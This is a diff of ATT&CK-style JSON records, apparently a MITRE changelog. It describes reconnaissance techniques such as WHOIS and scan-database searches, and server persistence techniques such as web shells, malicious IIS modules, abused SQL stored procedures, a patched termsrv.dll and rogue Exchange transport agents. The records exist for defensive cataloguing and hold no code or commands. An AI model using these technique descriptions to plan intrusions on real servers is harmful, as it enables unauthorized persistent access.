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+ "name": "DNS/Passive DNS",
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+ "phase_name": "reconnaissance"
+ }
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+ "url": "https://attack.mitre.org/techniques/T1596/001",
+ "external_id": "T1596.001"
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+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
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+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
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+ "created": "2020-10-02 16:58:58.738000+00:00",
+ "modified": "2025-10-24 17:48:21.668000+00:00",
+ "name": "Digital Certificates",
+ "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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+ {
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+ "phase_name": "reconnaissance"
+ }
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1596/003",
+ "external_id": "T1596.003"
+ },
+ {
+ "source_name": "Medium SSL Cert",
+ "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
+ "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
+ },
+ {
+ "source_name": "SSLShopper Lookup",
+ "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
+ "url": "https://www.sslshopper.com/ssl-checker.html"
+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 17:00:44.586000+00:00",
+ "modified": "2025-10-24 17:49:34.076000+00:00",
+ "name": "Scan Databases",
+ "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1596/005",
+ "external_id": "T1596.005"
+ },
+ {
+ "source_name": "Shodan",
+ "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
+ "url": "https://shodan.io"
+ }
+ ],
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+ "x_mitre_detection": "",
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+ "shared": [],
+ "new": [
+ "DET0858: Detection of Scan Databases"
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+ "dropped": []
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+ "type": "attack-pattern",
+ "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:56:49.744000+00:00",
+ "modified": "2025-10-24 17:48:26.629000+00:00",
+ "name": "WHOIS",
+ "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1596/002",
+ "external_id": "T1596.002"
+ },
+ {
+ "source_name": "WHOIS",
+ "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
+ "url": "https://who.is/"
+ }
+ ],
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+ {
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+ "created": "2020-10-02 16:48:04.509000+00:00",
+ "modified": "2025-10-24 17:49:10.188000+00:00",
+ "name": "Search Open Websites/Domains",
+ "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1593",
+ "external_id": "T1593"
+ },
+ {
+ "source_name": "SecurityTrails Google Hacking",
+ "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
+ "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
+ },
+ {
+ "source_name": "Cyware Social Media",
+ "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
+ "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
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+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0547: Detection Strategy for T1505 - Server Software Component"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-06-03 18:44:29.770000+00:00",
+ "modified": "2025-10-24 17:49:15.437000+00:00",
+ "name": "IIS Components",
+ "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1505/004",
+ "external_id": "T1505.004"
+ },
+ {
+ "source_name": "Dell TG-3390",
+ "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
+ "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
+ },
+ {
+ "source_name": "Unit 42 RGDoor Jan 2018",
+ "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+ },
+ {
+ "source_name": "Trustwave IIS Module 2013",
+ "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.",
+ "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
+ },
+ {
+ "source_name": "ESET IIS Malware 2021",
+ "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.",
+ "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"
+ },
+ {
+ "source_name": "IIS Backdoor 2011",
+ "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.",
+ "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html"
+ },
+ {
+ "source_name": "Microsoft IIS Modules Overview 2007",
+ "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.",
+ "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"
+ },
+ {
+ "source_name": "Microsoft ISAPI Extension All Incoming 2017",
+ "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)"
+ },
+ {
+ "source_name": "Microsoft ISAPI Extension Overview 2017",
+ "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)"
+ },
+ {
+ "source_name": "Microsoft ISAPI Filter Overview 2017",
+ "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)"
+ },
+ {
+ "source_name": "MMPC ISAPI Filter 2012",
+ "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.",
+ "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Wes Hurd"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
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+ "x_mitre_version": "1.1",
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+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention",
+ "M1045: Code Signing",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0068: Detection Strategy for T1505.004 - Malicious IIS Components"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-12-12 14:59:58.168000+00:00",
+ "modified": "2025-10-24 17:49:38.624000+00:00",
+ "name": "SQL Stored Procedures",
+ "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1505/001",
+ "external_id": "T1505.001"
+ },
+ {
+ "source_name": "Microsoft CLR Integration 2017",
+ "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.",
+ "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017"
+ },
+ {
+ "source_name": "Microsoft xp_cmdshell 2017",
+ "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.",
+ "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017"
+ },
+ {
+ "source_name": "Kaspersky MSSQL Aug 2019",
+ "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.",
+ "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"
+ },
+ {
+ "source_name": "NetSPI Startup Stored Procedures",
+ "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.",
+ "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"
+ },
+ {
+ "source_name": "NetSPI SQL Server CLR",
+ "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.",
+ "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/"
+ }
+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Carlos Borges, @huntingneo, CIP",
+ "Lucas da Silva Pereira, @vulcanunsec, CIP",
+ "Kaspersky"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.624000+00:00\", \"old_value\": \"2025-04-15 23:02:13.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1045: Code Signing",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0181: Detection Strategy for SQL Stored Procedures Abuse via T1505.001"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-03-28 15:34:44.590000+00:00",
+ "modified": "2025-10-24 17:48:39.258000+00:00",
+ "name": "Terminal Services DLL",
+ "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1505/005",
+ "external_id": "T1505.005"
+ },
+ {
+ "source_name": "James TermServ DLL",
+ "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.",
+ "url": "https://x.com/james_inthe_box/status/1150495335812177920"
+ },
+ {
+ "source_name": "Microsoft System Services Fundamentals",
+ "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.",
+ "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"
+ },
+ {
+ "source_name": "Microsoft Remote Desktop Services",
+ "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.",
+ "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"
+ },
+ {
+ "source_name": "RDPWrap Github",
+ "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.",
+ "url": "https://github.com/stascorp/rdpwrap"
+ },
+ {
+ "source_name": "Windows OS Hub RDP",
+ "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.",
+ "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.258000+00:00\", \"old_value\": \"2025-04-15 23:15:45.110000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n\\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n\\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n\\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n-\\n-Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n-\\n-Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n-\\n-Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1024: Restrict Registry Permissions",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0212: Detection Strategy for T1505.005 \u2013 Terminal Services DLL Modification (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-12-12 15:08:20.972000+00:00",
+ "modified": "2025-10-24 17:48:38.001000+00:00",
+ "name": "Transport Agent",
+ "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1505/002",
+ "external_id": "T1505.002"
+ },
+ {
+ "source_name": "Microsoft TransportAgent Jun 2016",
+ "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.",
+ "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help"
+ },
+ {
+ "source_name": "ESET LightNeuron May 2019",
+ "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "ESET",
+ "Christoffer Str\u00f6mblad"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "Windows"
+ ],
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+ "DS0015: Application Log (Application Log Content)",
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0166: Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-12-13 16:46:18.927000+00:00",
+ "modified": "2025-10-24 17:48:50.387000+00:00",
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+ "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1505/003",
+ "external_id": "T1505.003"
+ },
+ {
+ "source_name": "NSA Cyber Mitigating Web Shells",
+ "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.",
+ "url": "https://github.com/nsacyber/Mitigating-Web-Shells"
+ },
+ {
+ "source_name": "volexity_0day_sophos_FW",
+ "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
+ "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+ },
+ {
+ "source_name": "Lee 2013",
+ "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
+ "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
+ },
+ {
+ "source_name": "US-CERT Alert TA15-314A Web Shells",
+ "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
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+ "DET0394: Web Shell Detection via Server Behavior and File Execution Chains"
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+ "external_id": "T1129"
